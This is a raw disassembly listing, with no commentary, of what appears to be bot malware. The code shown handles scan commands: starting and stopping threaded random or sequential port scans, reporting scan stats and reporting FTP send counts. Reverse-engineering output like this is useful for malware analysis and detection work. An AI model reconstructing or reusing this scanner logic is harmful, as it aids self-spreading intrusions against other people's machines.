; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422620	proc near		; CODE XREF: sub_4018F2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_422620	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422640	proc near		; CODE XREF: sub_4013E8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401EF1
		add	esp, 8
		retn	8
sub_422640	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422670	proc near		; CODE XREF: sub_4018FCj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_422670	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422690	proc near		; CODE XREF: sub_4018F7j
		mov	eax, [ecx]
		retn
sub_422690	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4226B0	proc near		; CODE XREF: sub_4019BAj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401839
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4226B0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4226E0	proc near		; CODE XREF: sub_40163Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401A8C
		pop	ecx
		retn	4
sub_4226E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422700	proc near		; CODE XREF: sub_401E7Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FB9
		pop	ecx
		retn	4
sub_422700	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422720	proc near		; CODE XREF: sub_401A3Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_42273B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_42273B:				; CODE XREF: sub_422720+11j
		retn
sub_422720	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422750	proc near		; CODE XREF: sub_40203Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_422750
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	19h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422791
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_401681


loc_422791:				; CODE XREF: sub_422750+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_422750	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS	KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4227E0	proc near		; CODE XREF: sub_401EF1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4227E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	15h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422821
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_4014D3


loc_422821:				; CODE XREF: sub_4227E0+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4227E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422850	proc near		; CODE XREF: sub_401A8Cj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		call	sub_4019C9
		retn
sub_422850	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422870	proc near		; CODE XREF: sub_401FB9j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		mov	eax, [ecx]
		call	dword ptr [eax]
		retn
sub_422870	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422890	proc near		; CODE XREF: sub_401681j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		push	edi
		call	sub_4014D3
		mov	eax, [edi+15h]
		pop	edi
		mov	[esi+15h], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_422890	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4228C0	proc near		; CODE XREF: sub_4019C9j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A82
		test	[esp+4+arg_0], 1
		jz	short loc_4228D8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4228D8:				; CODE XREF: sub_4228C0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4228C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4228F0	proc near		; CODE XREF: sub_401AF5j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4228F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	9
		push	3
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+60h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		mov	dword_4D7F8B, offset aAsn ; "asn"
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+8D008h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_4228F0	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	edx, [esp+2Ch]
		push	1
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+8D036h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	0Eh
		push	1
		push	3
		lea	ecx, [esp+2Ch]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+8D064h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+8D092h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+44h]
		push	6
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		add	esi, 8D0C0h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422B40	proc near		; CODE XREF: sub_40138Ej

var_78D		= byte ptr -78Dh
var_78C		= dword	ptr -78Ch
var_788		= byte ptr -788h
var_780		= dword	ptr -780h
var_770		= byte ptr -770h
var_760		= byte ptr -760h
var_6E0		= byte ptr -6E0h
var_660		= dword	ptr -660h
var_65C		= dword	ptr -65Ch
var_658		= dword	ptr -658h
var_654		= dword	ptr -654h
var_650		= dword	ptr -650h
var_644		= dword	ptr -644h
var_640		= dword	ptr -640h
var_638		= dword	ptr -638h
var_634		= dword	ptr -634h
var_630		= dword	ptr -630h
var_624		= byte ptr -624h
var_60C		= byte ptr -60Ch
var_40C		= byte ptr -40Ch
var_20C		= byte ptr -20Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_422B40
		push	eax
		mov	large fs:0, esp
		sub	esp, 784h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+79Ch+arg_0]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+8D008h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422C0A
		push	3
		call	sub_40148D
		add	esp, 4
		test	eax, eax
		jle	short loc_422BDD
		push	3
		call	sub_401DA2
		mov	eax, dword_50DB50[eax*8]
		add	esp, 4
		push	eax
		nop
		call	near ptr 71AB3F41h
		push	eax
		push	offset aScanCipS ; "scan: cip (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_422BDD:				; CODE XREF: sub_422B40+52j
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	offset aScanNotStarted ; "scan:	not started"
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_422C0A:				; CODE XREF: sub_422B40+40j
		lea	ecx, [ebp+8D0C0h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422CB0
		mov	edi, dword_4D8370
		push	offset asc_444600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	ebx, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		cmp	edi, ebx
		jl	loc_4232BD
		mov	edx, dword_44964F
		push	edi
		push	edx
		push	offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_422CB0:				; CODE XREF: sub_422B40+DFj
		lea	ecx, [ebp+8D064h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_422D30
		push	eax
		push	3
		call	sub_401DA7
		add	esp, 8
		test	eax, eax
		jle	short loc_422D05
		push	eax
		push	offset aScanStoppedDTh ; "scan:	stopped	(%d threads)"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		jmp	loc_422F39
; ---------------------------------------------------------------------------


loc_422D05:				; CODE XREF: sub_422B40+194j
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aScanCouldnTSto ; "scan:	couldn't stop"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_422F39
; ---------------------------------------------------------------------------


loc_422D30:				; CODE XREF: sub_422B40+185j
		lea	ecx, [ebp+8D036h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		mov	edi, dword_511B14
		test	eax, eax
		jnz	loc_422DDE
		push	3
		call	sub_40148D
		add	esp, 4
		mov	ebx, eax
		lea	eax, [esp+7A0h+var_788]
		mov	ecx, esi
		push	offset asc_444600 ; " "
		push	2
		push	eax
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 1
		call	sub_4017EE
		push	eax
		call	edi
		add	eax, ebx
		add	esp, 4
		cmp	eax, 1F4h
		lea	ecx, [esp+7A0h+var_788]
		setnle	[esp+7A0h+var_78D]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, [esp+7A0h+var_78D]
		test	al, al
		jz	loc_422F56
		push	ebx
		push	offset aScanTooManyThr ; "scan:	too many threads (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_422DDE:				; CODE XREF: sub_422B40+20Bj
		lea	ecx, [ebp+8D092h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422F39
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_624]
		push	1
		push	eax
		mov	ecx, esi
		xor	ebx, ebx
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0Ah
		call	sub_4017EE
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_624]
		mov	edi, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, dword_445420
		mov	[esp+7A0h+var_78D], bl
		test	eax, eax
		jz	short loc_422E69
		mov	eax, offset dword_445420


loc_422E55:				; CODE XREF: sub_422B40+327j
		cmp	[eax+8], edi
		jb	short loc_422E5F
		mov	[esp+7A0h+var_78D], 1


loc_422E5F:				; CODE XREF: sub_422B40+318j
		mov	ecx, [eax+3Ch]
		add	eax, 3Ch
		test	ecx, ecx
		jnz	short loc_422E55


loc_422E69:				; CODE XREF: sub_422B40+30Ej
		mov	ebp, dword_511C00
		lea	ecx, [esp+7A0h+var_60C]
		push	offset aScanStats ; "scan: stats:"
		push	ecx
		call	ebp
		mov	eax, dword_445420
		add	esp, 8
		test	eax, eax
		jz	short loc_422ECF
		mov	edi, offset dword_445428


loc_422E8F:				; CODE XREF: sub_422B40+38Dj
		mov	eax, [edi]
		lea	edx, [edi-26h]
		add	ebx, eax
		push	eax
		push	edx
		lea	eax, [esp+7A8h+var_40C]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	ebp
		lea	ecx, [esp+7B0h+var_40C]
		push	200h
		lea	edx, [esp+7B4h+var_60C]
		push	ecx
		push	edx
		nop
		call	near ptr 77C47920h
		mov	eax, [edi+34h]
		add	edi, 3Ch
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_422E8F


loc_422ECF:				; CODE XREF: sub_422B40+348j
		push	ebx
		lea	eax, [esp+7A4h+var_40C]
		push	offset aTotalD	; " total: %d"
		push	eax
		call	ebp
		lea	ecx, [esp+7ACh+var_40C]
		push	200h
		lea	edx, [esp+7B0h+var_60C]
		push	ecx
		push	edx
		nop
		call	near ptr 77C47920h
		mov	al, [esp+7B8h+var_78D]
		add	esp, 18h
		test	al, al
		jz	short loc_422F29
		xor	eax, eax
		lea	ecx, [esp+7A0h+var_60C]
		mov	al, [esi+94h]
		push	eax
		push	ecx
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		push	eax
		push	0
		call	sub_40152D
		add	esp, 10h


loc_422F29:				; CODE XREF: sub_422B40+3C3j
		lea	edx, [esp+7A0h+var_60C]
		push	edx
		call	sub_4010D2
		add	esp, 4


loc_422F39:				; CODE XREF: sub_422B40+1C0j
					; sub_422B40+1EBj ...
		xor	al, al


loc_422F3B:				; CODE XREF: sub_422B40+98j
					; sub_422B40+C5j ...
		mov	ecx, [esp+7A0h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 790h
		retn	4
; ---------------------------------------------------------------------------


loc_422F56:				; CODE XREF: sub_422B40+26Ej
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 2
		call	sub_4017EE
		push	eax
		call	edi
		or	ebx, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_65C], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, 3
		mov	ecx, eax
		mov	[esp+7A0h+var_4], ebp
		call	sub_4017EE
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_644], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	ebp
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 4
		call	sub_4017EE
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_658], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	eax, [esp+7A0h+var_658]
		cmp	eax, ebp
		jnb	short loc_423033
		mov	[esp+7A0h+var_658], ebp
		jmp	short loc_423043
; ---------------------------------------------------------------------------


loc_423033:				; CODE XREF: sub_422B40+4E8j
		cmp	eax, 3Ch
		jbe	short loc_423043
		mov	[esp+7A0h+var_658], 3Ch


loc_423043:				; CODE XREF: sub_422B40+4F1j
					; sub_422B40+4F6j
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 5
		call	sub_4017EE
		push	eax
		call	edi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_654], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	ecx, [esp+7A0h+var_654]
		mov	eax, 960h
		cmp	ecx, eax
		jbe	short loc_42309C
		mov	[esp+7A0h+var_654], eax


loc_42309C:				; CODE XREF: sub_422B40+553j
		mov	eax, dword_445420
		mov	[esp+7A0h+var_640], ebx
		test	eax, eax
		mov	[esp+7A0h+var_78C], 0
		jz	loc_42316C
		mov	ebp, offset dword_445420
		jmp	short loc_4230C2
; ---------------------------------------------------------------------------


loc_4230BF:				; CODE XREF: sub_422B40+602j
		or	ebx, 0FFFFFFFFh


loc_4230C2:				; CODE XREF: sub_422B40+57Dj
		push	offset asc_444600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 6
		call	sub_4017EE
		mov	edi, eax
		lea	ecx, [ebp-28h]


loc_4230EC:				; CODE XREF: sub_422B40+5CAj
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_423110
		test	al, al
		jz	short loc_42310C
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_423110
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_4230EC


loc_42310C:				; CODE XREF: sub_422B40+5B6j
		xor	eax, eax
		jmp	short loc_423114
; ---------------------------------------------------------------------------


loc_423110:				; CODE XREF: sub_422B40+5B2j
					; sub_422B40+5C0j
		sbb	eax, eax
		sbb	eax, ebx


loc_423114:				; CODE XREF: sub_422B40+5CEj
		test	eax, eax
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	short loc_42314A
		mov	edx, [esp+7A0h+var_78C]
		mov	eax, [ebp+3Ch]
		add	ebp, 3Ch
		inc	edx
		test	eax, eax
		mov	[esp+7A0h+var_78C], edx
		jnz	loc_4230BF
		jmp	short loc_423169
; ---------------------------------------------------------------------------


loc_42314A:				; CODE XREF: sub_422B40+5EFj
		mov	ecx, [esp+7A0h+var_78C]
		mov	[esp+7A0h+var_640], ecx
		lea	eax, [ecx+ecx*2]
		lea	eax, [eax+eax*4]
		mov	edx, dword_445420[eax*4]
		mov	[esp+7A0h+var_65C], edx


loc_423169:				; CODE XREF: sub_422B40+608j
		or	ebx, 0FFFFFFFFh


loc_42316C:				; CODE XREF: sub_422B40+572j
		mov	eax, [esp+7A0h+var_65C]
		test	eax, eax
		jnz	short loc_42318A
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		push	eax
		push	offset aScanInvalidPor ; "scan:	invalid	port"
		jmp	loc_4232A5
; ---------------------------------------------------------------------------


loc_42318A:				; CODE XREF: sub_422B40+635j
		push	offset asc_444600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	offset dword_4447F8
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 7
		call	sub_4013ED
		lea	ecx, [esp+7A0h+var_788]
		mov	edi, eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		test	edi, edi
		jz	loc_423267
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	5
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 8
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+7A4h+var_770]
		push	10h
		push	ecx
		nop
		call	near ptr 77C3FA76h
		add	esp, 0Ch
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	78h
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 9
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C47660h
		add	esp, 8
		lea	ecx, [esp+7A0h+var_788]
		neg	eax
		sbb	eax, eax
		mov	[esp+7A0h+var_4], ebx
		neg	eax
		mov	[esp+7A0h+var_630], eax
		call	sub_401226
		jmp	loc_423396
; ---------------------------------------------------------------------------


loc_423267:				; CODE XREF: sub_422B40+688j
		push	offset dword_4455EC
		mov	ecx, esi
		call	sub_4013ED
		test	eax, eax
		jnz	short loc_4232C4
		push	offset off_4455E8
		mov	ecx, esi
		call	sub_4013ED
		test	eax, eax
		jnz	short loc_4232C4
		push	offset off_4455E4
		mov	ecx, esi
		call	sub_4013ED
		test	eax, eax
		jnz	short loc_4232C4
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		push	eax
		push	offset aScanNoIpSpecif ; "scan:	no ip specified"


loc_4232A5:				; CODE XREF: sub_422B40+645j
		mov	al, [esi+94h]
		mov	cl, [esi+93h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118


loc_4232BD:				; CODE XREF: sub_422B40+132j
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_4232C4:				; CODE XREF: sub_422B40+735j
					; sub_422B40+745j ...
		mov	ecx, dword_4D808D
		lea	edx, [esp+7A0h+var_78C]
		lea	eax, [esp+7A0h+var_788]
		push	edx
		push	eax
		push	ecx
		mov	[esp+7ACh+var_78C], 10h
		nop
		call	near ptr 71AB951Eh
		push	offset off_4455E8
		mov	ecx, esi
		call	sub_4013ED
		mov	edx, eax
		mov	eax, [esp+79Ch+var_780]
		neg	edx
		sbb	edx, edx
		push	10h
		and	edx, 0FFFF0100h
		add	edx, 0FFFFh
		and	eax, edx
		push	eax
		mov	[esp+7A4h+var_780], eax
		call	near ptr 71AB3F41h
		nop
		push	eax
		lea	eax, [esp+7A8h+var_770]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	ecx, esi
		push	offset dword_4455EC
		call	sub_4013ED
		test	eax, eax
		jz	short loc_42338B
		push	offset off_4455E8
		mov	ecx, esi
		call	sub_4013ED
		mov	ebp, dword_511A9C
		mov	edi, eax
		neg	edi
		sbb	edi, edi
		lea	ecx, [esp+7A0h+var_770]
		neg	edi
		push	30h
		push	ecx
		add	edi, 2
		call	ebp
		add	esp, 8
		xor	bl, bl
		test	edi, edi
		jle	short loc_42337E


loc_423362:				; CODE XREF: sub_422B40+83Cj
		test	eax, eax
		jz	short loc_42337E
		lea	edx, [esp+7A0h+var_770]
		push	30h
		push	edx
		mov	byte ptr [eax],	78h
		call	ebp
		add	esp, 8
		inc	bl
		movsx	ecx, bl
		cmp	ecx, edi
		jl	short loc_423362


loc_42337E:				; CODE XREF: sub_422B40+820j
					; sub_422B40+824j
		mov	[esp+7A0h+var_630], 1
		jmp	short loc_423396
; ---------------------------------------------------------------------------


loc_42338B:				; CODE XREF: sub_422B40+7F1j
		mov	[esp+7A0h+var_630], 0


loc_423396:				; CODE XREF: sub_422B40+722j
					; sub_422B40+849j
		mov	edx, dword_4D808D
		xor	eax, eax
		mov	al, [esi+93h]
		lea	edi, [esi+2Ah]
		mov	ecx, edi
		mov	[esp+7A0h+var_660], edx
		mov	[esp+7A0h+var_638], 0
		mov	[esp+7A0h+var_634], eax
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+7A4h+var_760]
		push	80h
		push	ecx
		call	near ptr 77C3FA76h
		nop
		mov	eax, [esp+7ACh+var_630]
		add	esp, 0Ch
		test	eax, eax
		mov	[esp+7A0h+var_6E0], 0
		mov	eax, offset aRandom ; "random"
		jnz	short loc_4233F8
		mov	eax, offset aSequential	; "sequential"


loc_4233F8:				; CODE XREF: sub_422B40+8B1j
		mov	edx, [esp+7A0h+var_644]
		mov	ecx, [esp+7A0h+var_654]
		push	edx
		mov	edx, [esp+7A4h+var_658]
		push	ecx
		mov	ecx, [esp+7A8h+var_65C]
		push	edx
		lea	edx, [esp+7ACh+var_770]
		push	ecx
		push	edx
		push	eax
		mov	eax, [esp+7B8h+var_640]
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ecx, ds:445402h[eax*4]
		push	ecx
		push	offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"...
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		push	0
		lea	ecx, [esp+7D4h+var_20C]
		push	3
		push	ecx
		call	sub_401BEA
		add	esp, 3Ch
		lea	edx, [esp+7A0h+var_770]
		mov	[esp+7A0h+var_650], eax
		push	edx
		call	sub_402284
		mov	al, 1
		jmp	loc_422F3B
sub_422B40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4236F0	proc near		; CODE XREF: sub_40114Fj

arg_A6		= dword	ptr  0AAh
arg_AE		= dword	ptr  0B2h

		mov	ecx, [esp+arg_AE]
